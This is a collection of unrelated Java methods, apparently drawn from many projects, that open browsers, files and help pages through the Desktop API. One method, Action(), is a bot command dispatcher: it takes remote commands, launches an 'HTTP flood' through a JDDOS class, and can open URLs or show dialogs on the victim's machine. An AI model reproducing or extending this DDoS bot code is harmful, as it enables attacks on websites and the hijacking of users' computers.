void lookUpTaxonID(String taxonID) { URI url; try { // We should look up the miITIS_TSN status, but since we don't // have any options there ... url = new URI( "http://www.itis.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&search_value=" + taxonID); } catch (URISyntaxException e) { throw new RuntimeException(e); } try { Desktop desktop = Desktop.getDesktop(); desktop.browse(url); } catch (IOException e) { MessageBox.messageBox( mainFrame, "Could not open URL '" + url + "'", "The following error occurred while looking up URL '" + url + "': " + e.getMessage(), MessageBox.ERROR); } }
void searchName(String nameToMatch) { URI url; try { // We should look up the miITIS_TSN status, but since we don't // have any options there ... url = new URI("http", "www.google.com", "/search", "q=" + nameToMatch); // I think the URI handles the URL encoding? } catch (URISyntaxException e) { throw new RuntimeException(e); } try { Desktop desktop = Desktop.getDesktop(); desktop.browse(url); } catch (IOException e) { MessageBox.messageBox( mainFrame, "Could not open URL '" + url + "'", "The following error occurred while looking up URL '" + url + "': " + e.getMessage(), MessageBox.ERROR); } }
private static void openUpWebSite(String url) { Desktop d = Desktop.getDesktop(); try { d.browse(new URI(url)); } catch (Exception e) { } }
// @Override public void render(Page page, Writer out) throws IOException { final Desktop desktop = _exec.getDesktop(); out.write("<script type=\"text/javascript\">zkpb('"); out.write(page.getUuid()); out.write("','"); out.write(desktop.getId()); out.write("','"); out.write(getContextURI()); out.write("','"); out.write(desktop.getUpdateURI(null)); out.write("','"); out.write(desktop.getRequestPath()); out.write('\''); String style = page.getStyle(); if (style != null && style.length() > 0) { out.write(",{style:'"); out.write(style); out.write("'}"); } out.write(");zkpe();</script>\n"); for (Component root = page.getFirstRoot(); root != null; root = root.getNextSibling()) { // HtmlPageRenders.outStandalone(_exec, root, out); } }
public String nextDesktopId(Desktop desktop) { if (desktop.getAttribute("Id_Num") == null) { String number = "0"; desktop.setAttribute("Id_Num", number); } return null; }
public HyberLinkLabel(String text, String url) { this.text = text; this.url = url; try { this.isSupported = Desktop.isDesktopSupported() && Desktop.getDesktop().isSupported(Desktop.Action.BROWSE); } catch (Exception e) { System.out.println("Browse is not supported"); this.isSupported = false; } setActive(false); addMouseListener( new MouseAdapter() { public void mouseEntered(MouseEvent e) { setActive(isSupported); if (isSupported) setCursor(new Cursor(Cursor.HAND_CURSOR)); } public void mouseExited(MouseEvent e) { setActive(false); } public void mouseClicked(MouseEvent e) { try { Desktop.getDesktop().browse(new java.net.URI(HyberLinkLabel.this.url)); } catch (Exception ex) { System.out.println(ex.toString()); } } }); }
private static void getStudentPass(String facultyNumber) throws IOException, JAXBException, SAXException, TransformerException, ParserConfigurationException { if (Pattern.matches("\\d{5,6}", facultyNumber)) { InputStream inputStream = new FileInputStream(Constants.CONFIG_FILE_PATH.toString()); properties.load(inputStream); File protocolFile = new File(properties.getProperty("protocol")); ReadWriteUtils utils = new ReadWriteUtils(Protocol.class); Protocol protocol = (Protocol) utils.readFromXml(protocolFile); StudentPass studentPass = protocol.getStudentPass(Integer.parseInt(facultyNumber)); utils.setType(StudentPass.class); File outputFile = new File(properties.getProperty("output") + "\\StudentPass" + facultyNumber + ".xml"); if (outputFile.createNewFile()) System.out.println("File created!"); utils.writeXml(studentPass, outputFile); utils.writeXml(studentPass, System.out); System.out.println( "Do you want to open the generated XML Document with your default viewing program?"); if (awaitResponse()) Desktop.getDesktop().open(outputFile); System.out.println( "Do you want to transform the generated XML Document to html file and open with your default viewing program?"); if (awaitResponse()) { Desktop.getDesktop() .open(transformXML(outputFile, new File(Constants.STUDENT_STYLE.toString()))); } inputStream.close(); } else throw new IllegalArgumentException("Invalid faculty number is entered!"); }
private JMenu createHelpMenu() { List<JComponent> menuItems = new ArrayList<JComponent>(); MenuAction menuAction = null; menuAction = new MenuAction("User Guide ... ") { @Override public void actionPerformed(ActionEvent e) { try { BrowserLauncher.openURL(SERVER_BASE_URL + "igv/UserGuide"); } catch (IOException ex) { log.error("Error opening browser", ex); } } }; menuAction.setToolTipText(HELP_TOOLTIP); menuItems.add(MenuAndToolbarUtils.createMenuItem(menuAction)); if (Desktop.isDesktopSupported()) { final Desktop desktop = Desktop.getDesktop(); if (desktop.isSupported(Desktop.Action.MAIL)) { menuAction = new MenuAction("Help Forum...") { @Override public void actionPerformed(ActionEvent e) { try { URI uri = new URI("http://groups.google.com/forum/#!forum/igv-help"); Desktop.getDesktop().browse(uri); } catch (Exception ex) { log.error("Error opening igv-help uri", ex); } } }; menuAction.setToolTipText("Email support"); menuItems.add(MenuAndToolbarUtils.createMenuItem(menuAction)); } } menuAction = new MenuAction("About IGV ") { @Override public void actionPerformed(ActionEvent e) { (new AboutDialog(IGV.getMainFrame(), true)).setVisible(true); } }; menuAction.setToolTipText(ABOUT_TOOLTIP); menuItems.add(MenuAndToolbarUtils.createMenuItem(menuAction)); MenuAction helpMenuAction = new MenuAction("Help"); return MenuAndToolbarUtils.createMenu(menuItems, helpMenuAction); }
private void openContentDirectory() { try { if (Desktop.isDesktopSupported()) { Desktop.getDesktop().open(new File(ForgeConstants.CACHE_DIR)); } } catch (final Exception e) { System.out.println("Unable to open Directory: " + e.toString()); } }
@Override public void HUDAreaClicked(HUDArea ha) { HUDArea hudArea = null; for (int i = 0; i < hudAreas.size(); i++) { hudArea = hudAreas.get(i); if (hudArea == ha) { if (hudArea.getType().equals("single_player")) { hudManager.unloadHUD(name); hudManager.loadHUD(HUDManager.HUDType.ScreenCharacterSelection); } else if (hudArea.getType().equals("multi_player")) { if (hudManager.getIsOnline() && Game.VERSION.equals(hudManager.getCurrentVersion())) { hudManager.unloadHUD(name); hudManager.loadHUD(HUDManager.HUDType.ScreenMultiPlayer); } else { registry.showMessage( "Error", "Must be online and have latest version to play. Try updating and restarting."); } } else if (hudArea.getType().equals("settings")) { hudManager.unloadHUD(name); hudManager.loadHUD(HUDManager.HUDType.ScreenSettings); } else if (hudArea.getType().equals("exit")) { hudManager.gameExit(); } else if (hudArea.getType().equals("donate")) { String url = "http://www.epicinventor.com/donate.html"; try { Desktop.getDesktop().browse(java.net.URI.create(url)); } catch (Exception e) { } } else if (hudArea.getType().equals("help")) { String url = "http://www.epicinventor.com/help.html"; try { Desktop.getDesktop().browse(java.net.URI.create(url)); } catch (Exception e) { } } else if (hudArea.getType().equals("download")) { Process p = null; try { p = Runtime.getRuntime().exec("EpicInventorUpdater"); } catch (IOException ex) { } if (p == null) { registry.showMessage( "Error", "Could not launch auto-updater, run manually from folder"); } else { hudManager.gameExit(); } } } } }
public static boolean browse(URI uri) throws IOException { // Try using the Desktop api first try { Desktop desktop = Desktop.getDesktop(); desktop.browse(uri); return true; } catch (SecurityException e) { } return false; }
/** * Attempts to open the default web browser to the given URL. * * @param url The URL to open * @throws IOException If the web browser could not be located or does not run */ public static void openURL(String url) throws IOException { if (!(Desktop.isDesktopSupported() && Desktop.getDesktop().isSupported(Desktop.Action.BROWSE))) { openURL_old(url); } else { try { Desktop.getDesktop().browse(new URI(url)); } catch (URISyntaxException e) { log.error("Error opening url " + url, e); } } }
/** * Tries to open a URL in the Browser * * @param url The URL * @param shiftUrl The URL to open when Shift is held */ public static void openBrowser(String url, String shiftUrl) { try { if (Desktop.isDesktopSupported()) { if (shiftUrl.equals(url) || KeyUtil.isShiftPressed()) { Desktop.getDesktop().browse(new URI(shiftUrl)); } else { Desktop.getDesktop().browse(new URI(url)); } } } catch (Exception e) { ModUtil.LOGGER.error("Something bad happened when trying to open a URL!", e); } }
/** * Retuns the implicit object of the specified name, or null if not found. * * <p>Notice that it does check for the current scope ({@link * org.zkoss.zk.ui.ext.Scopes#getCurrent}). Rather, {@link org.zkoss.zk.ui.ext.Scopes#getImplicit} * depends on this method. * * @param page the page. If page is null and comp is not, comp.getPage() is assumed * @see org.zkoss.zk.ui.ext.Scopes#getImplicit * @since 5.0.0 */ public static Object getImplicit(Page page, Component comp, String name) { if (comp != null && page == null) page = getCurrentPage(comp); if ("log".equals(name)) return _zklog; if ("self".equals(name)) return comp != null ? comp : (Object) page; if ("spaceOwner".equals(name)) return comp != null ? comp.getSpaceOwner() : (Object) page; if ("page".equals(name)) return page; if ("desktop".equals(name)) return comp != null ? getDesktop(comp) : page.getDesktop(); if ("session".equals(name)) return comp != null ? getSession(comp) : page.getDesktop().getSession(); if ("application".equals(name)) return comp != null ? getWebApp(comp) : page.getDesktop().getWebApp(); if ("componentScope".equals(name)) return comp != null ? comp.getAttributes() : Collections.EMPTY_MAP; if ("spaceScope".equals(name)) { final Scope scope = comp != null ? (Scope) comp.getSpaceOwner() : (Scope) page; return scope != null ? scope.getAttributes() : Collections.EMPTY_MAP; } if ("pageScope".equals(name)) return page != null ? page.getAttributes() : Collections.EMPTY_MAP; if ("desktopScope".equals(name)) { final Desktop dt = comp != null ? getDesktop(comp) : page.getDesktop(); return dt != null ? dt.getAttributes() : Collections.EMPTY_MAP; } if ("sessionScope".equals(name)) { final Session sess = comp != null ? getSession(comp) : page.getDesktop().getSession(); return sess != null ? sess.getAttributes() : Collections.EMPTY_MAP; } if ("applicationScope".equals(name)) { final WebApp app = comp != null ? getWebApp(comp) : page.getDesktop().getWebApp(); return app != null ? app.getAttributes() : Collections.EMPTY_MAP; } if ("requestScope".equals(name)) return REQUEST_SCOPE_PROXY; if ("execution".equals(name)) return EXECUTION_PROXY; if ("arg".equals(name)) { final Execution exec = Executions.getCurrent(); return exec != null ? exec.getArg() : null; // bug 2937096: composer.arg shall be statically wired // arg is a Map prepared by application developer, so can be wired statically } if ("param".equals(name)) { final Execution exec = Executions.getCurrent(); return exec != null ? exec.getParameterMap() : null; // bug 2945974: composer.param shall be statically wired // Note that request parameter is prepared by servlet container, you shall not // copy the reference to this map; rather, you shall clone the key-value pair one-by-one. } // 20090314, Henri Chen: No way to suppport "event" with an event proxy because // org.zkoss.zk.Event is not an interface return null; }
@Override public void execute() { // this codepath is for when the user quits R using the q() // function -- in this case our standard client quit codepath // isn't invoked, and as a result the desktop is not notified // that there is a pending quit (so thinks R has crashed when // the process exits). since this codepath is only for the quit // case (and not the restart or restart and reload cases) // we can set the pending quit bit here if (Desktop.isDesktop()) { Desktop.getFrame().setPendingQuit(DesktopFrame.PENDING_QUIT_AND_EXIT); } server_.handleUnsavedChangesCompleted(handled_, new VoidServerRequestCallback()); }
@Override public void actionPerformed(ActionEvent e) { if (e.getSource().equals(this.browseButton)) { openFileChooser(); } else if (e.getSource().equals(this.startExtractionButton)) { startExtraction(); } else if (e.getSource().equals(this.openRootDirectoryButton)) { Desktop desktop = Desktop.getDesktop(); try { desktop.open(EmojiTools.getRootDirectory()); } catch (IOException e1) { EmojiTools.submitError(Thread.currentThread(), e1); } } }
// deschide fereastra editorului pentru fisierul openPhilePath public void edit(String entry) throws PhileNotOpenException { try { String targetPath = currentPath + "\\" + entry; File file = new File(targetPath); if (!file.exists()) { System.out.println("Fisierul nu exista"); return; } Desktop dk = Desktop.getDesktop(); // Open a file dk.edit(file); } catch (Exception e) { } finally { takePath(); } }
// Opens default browser and loads this projects github page. public static void openGit() { try { Desktop.getDesktop().browse(new URL("https://github.com/skelegon/Vidor").toURI()); } catch (URISyntaxException | IOException ex) { ex.printStackTrace(); } }
private static void getProtocol() throws IOException, JAXBException, SAXException, ParserConfigurationException, TransformerException { InputStream inputStream = new FileInputStream(Constants.CONFIG_FILE_PATH.toString()); properties.load(inputStream); File protocolFile = new File(properties.getProperty("protocol")); ReadWriteUtils utils = new ReadWriteUtils(Protocol.class); utils.writeXml(utils.readFromXml(protocolFile), System.out); System.out.println("Do you want to open protocol with your default viewing program?"); if (awaitResponse()) Desktop.getDesktop().open(protocolFile); System.out.println( "Do you want to transform and open the protocol file with your default viewing program?"); if (awaitResponse()) Desktop.getDesktop() .open(transformXML(protocolFile, new File(Constants.PROTOCOL_STYLE.toString()))); }
public void actionPerformed(ActionEvent event) { String link = "http://cran.r-project.org/web/views/Graphics.html"; try { Desktop.getDesktop().browse(new URI(link)); } catch (Exception ex) { } }
public void make(File source, DataSet header, DataSet master) throws Exception { this.header = header; this.master = master; if (header == null || master == null) throw new Exception("Dataset is empty"); long t = System.currentTimeMillis(); InputStream inp = new FileInputStream(source); Workbook oldBook = WorkbookFactory.create(inp); Sheet oldSheet = oldBook.getSheetAt(0); Workbook newBook = new HSSFWorkbook(); Sheet newSheet = newBook.createSheet(oldSheet.getSheetName()); init(newBook); process(oldSheet, newSheet); File target = File.createTempFile("libra", ".xls"); target.deleteOnExit(); FileOutputStream fileOut = new FileOutputStream(target); newBook.write(fileOut); fileOut.close(); oldBook.close(); inp.close(); Desktop.getDesktop().open(target); System.out.println(System.currentTimeMillis() - t); }
private void onDownload() { try { Desktop.getDesktop().browse(new URI(downloadURL)); } catch (IOException | URISyntaxException e) { e.printStackTrace(); } dispose(); }
private void itemSelected(ComponentEvent ce) { Window w; if (ce instanceof MenuEvent) { MenuEvent me = (MenuEvent) ce; w = me.getItem().getData("window"); } else { w = ce.getComponent().getData("window"); } if (!desktop.getWindows().contains(w)) { desktop.addWindow(w); } if (w != null && !w.isVisible()) { w.show(); } else { w.toFront(); } }
public void secureUse(File fi) { // System.out.println("Using " + fi.getAbsolutePath()); try { Desktop.getDesktop().open(fi); } catch (IOException e) { e.printStackTrace(); } }
public void openLink(String link) { if (WWUtil.isEmpty(link)) return; try { try { // See if the link is a URL, and invoke the browser if it is URL url = new URL(link.replace(" ", "%20")); Desktop.getDesktop().browse(url.toURI()); return; } catch (MalformedURLException ignored) { // just means that the link is not a URL } // It's not a URL, so see if it's a file and invoke the desktop to open it if it is. File file = new File(link); if (file.exists()) { Desktop.getDesktop().open(new File(link)); return; } String message = "Cannot open resource. It's not a valid file or URL."; Util.getLogger().log(Level.SEVERE, message); this.showErrorDialog(null, "No Reconocido V\u00ednculo", message); } catch (UnsupportedOperationException e) { String message = "Unable to open resource.\n" + link + (e.getMessage() != null ? "\n" + e.getMessage() : ""); Util.getLogger().log(Level.SEVERE, message, e); this.showErrorDialog(e, "Error Opening Resource", message); } catch (IOException e) { String message = "I/O error while opening resource.\n" + link + (e.getMessage() != null ? ".\n" + e.getMessage() : ""); Util.getLogger().log(Level.SEVERE, message, e); this.showErrorDialog(e, "I/O Error", message); } catch (Exception e) { String message = "Error attempting to open resource.\n" + link + (e.getMessage() != null ? "\n" + e.getMessage() : ""); Util.getLogger().log(Level.SEVERE, message); this.showMessageDialog(message, "Error Opening Resource", JOptionPane.ERROR_MESSAGE); } }
/** * 访问服务器环境 * * @param names 参数名字 * @param values 参数值 */ public static void visitEnvServerByParameters(String[] names, String[] values) { int len = Math.min(ArrayUtils.getLength(names), ArrayUtils.getLength(values)); String[] segs = new String[len]; for (int i = 0; i < len; i++) { try { // 设计器里面据说为了改什么界面统一, 把分隔符统一用File.separator, 意味着在windows里面报表路径变成了\ // 以前的超链, 以及预览url什么的都是/, 产品组的意思就是用到的地方替换下, 真恶心. String value = values[i].replaceAll("\\\\", "/"); segs[i] = URLEncoder.encode(CodeUtils.cjkEncode(names[i]), EncodeConstants.ENCODING_UTF_8) + "=" + URLEncoder.encode(CodeUtils.cjkEncode(value), "UTF-8"); } catch (UnsupportedEncodingException e) { FRContext.getLogger().error(e.getMessage(), e); } } String postfixOfUri = (segs.length > 0 ? "?" + StableUtils.join(segs, "&") : StringUtils.EMPTY); if (FRContext.getCurrentEnv() instanceof RemoteEnv) { try { if (Utils.isEmbeddedParameter(postfixOfUri)) { String time = Calendar.getInstance().getTime().toString().replaceAll(" ", ""); boolean isUserPrivilege = ((RemoteEnv) FRContext.getCurrentEnv()).writePrivilegeMap(time, postfixOfUri); postfixOfUri = isUserPrivilege ? postfixOfUri + "&fr_check_url=" + time + "&id=" + FRContext.getCurrentEnv().getUserID() : postfixOfUri; } String urlPath = getWebBrowserPath(); Desktop.getDesktop().browse(new URI(urlPath + postfixOfUri)); } catch (Exception e) { FRContext.getLogger().error("cannot open the url Successful", e); } } else { try { String web = GeneralContext.getCurrentAppNameOfEnv(); String url = "http://localhost:" + DesignerEnvManager.getEnvManager().getJettyServerPort() + "/" + web + "/" + ConfigManager.getProviderInstance().getServletMapping() + postfixOfUri; StartServer.browerURLWithLocalEnv(url); } catch (Throwable e) { // } } }
void browse(String urlStr) { try { Desktop.getDesktop().browse(new URI(urlStr)); } catch (Exception ex) { showDialog(); statusBar.setText(ex.getLocalizedMessage()); if (JConsole.isDebug()) { ex.printStackTrace(); } } }
/** * Genera un pdf che contiene la lista di tutti gli studenti iscritti ad un appello * * @param pAppello informazioni appello * @throws Exception */ public void createDocument(Appello pAppello) throws Exception { Document document = new Document(); ArrayList<StudenteClass> listaIscritti = mDBMSStampaIscrittiBnd.getIscrittiAppello(pAppello); try { PdfWriter writer = PdfWriter.getInstance( document, new FileOutputStream("Elenco" + pAppello.getIdAppello() + ".pdf")); document.open(); document.add(new Paragraph("Lista Iscritti")); // Add ordered list List orderedList = new List(List.ORDERED); for (StudenteClass s : listaIscritti) orderedList.add(new ListItem(s.toString())); document.add(orderedList); document.close(); writer.close(); Desktop d = Desktop.getDesktop(); d.open(new File("Elenco" + pAppello.getIdAppello() + ".pdf")); } catch (Exception e) { e.printStackTrace(); } }
/** * The class that handles the word of the array and performs. * * <p>Commands: http - HTTP flood. Example of cmdline: http http://[site_adress]/ [timeout] * [number] sock - Exaple: sock [IP] [PORT] [timeout] [number] openurl - opening web page. * Example: openurl [URL] dialog - shows dialog. Example: dialog [text] */ private static void Action() { String[] CMD = GET_CMD_ARRAY(); switch (CMD[0]) { case "http": PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + " " + CMD[3], 1); /** CMD[0] - http CMD[1] - URL CMD[2] - timeout CMD[3] - number */ new Classes.JDDOS( 1, CMD[1], Integer.parseInt(CMD[3]), Integer.parseInt(CMD[2]), Settings.GET_DEBUG_MODE()); break; case "sock": PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2], 1); /** CMD[0] - sock CMD[1] - IP CMD[2] - PORT CMD[3] - timeout CMD[4] - number */ // new Classes.JDDOS(2, CMD[1], Integer.parseInt(CMD[2]), 10, Settings.GET_DEBUG_MODE()); break; case "openurl": PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1], 1); String myURL = CMD[1]; try { java.net.URL url = new java.net.URL(myURL); String nullFragment = null; URI uri = new URI( url.getProtocol(), url.getHost(), url.getPath(), url.getQuery(), nullFragment); Desktop.getDesktop().browse(uri); } catch (Exception e) { PRINT("Cathced exception" + e, 1); } break; case "dialog": /** CMD[0] - dialog CMD[1++] - text */ PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + "...", 1); String TEXT = ""; CMD[0] = ""; for (String n : CMD) { TEXT += (" " + n); } javax.swing.JOptionPane.showMessageDialog(null, TEXT); break; } }
public void initialize() throws Exception { Security.setProperty("networkaddress.cache.ttl", AWS_RECOMMENDED_DNS_CACHE_TTL); AbstractNavigation.DEFAULT_AUTOCOMMIT_DELAY = 2000; String defaultEncoding = System.getProperty("file.encoding"); if (!defaultEncoding.equals("UTF-8")) { logger.warn("default encoding " + defaultEncoding + " is not UTF-8"); } initContainer(); initPlugins(); initGui(); documentLauncher = url -> new Thread( () -> { try { Desktop.getDesktop().browse(new URI(url)); } catch (IOException | URISyntaxException e) { logger.error("failed to open uri", e); } }) .start(); }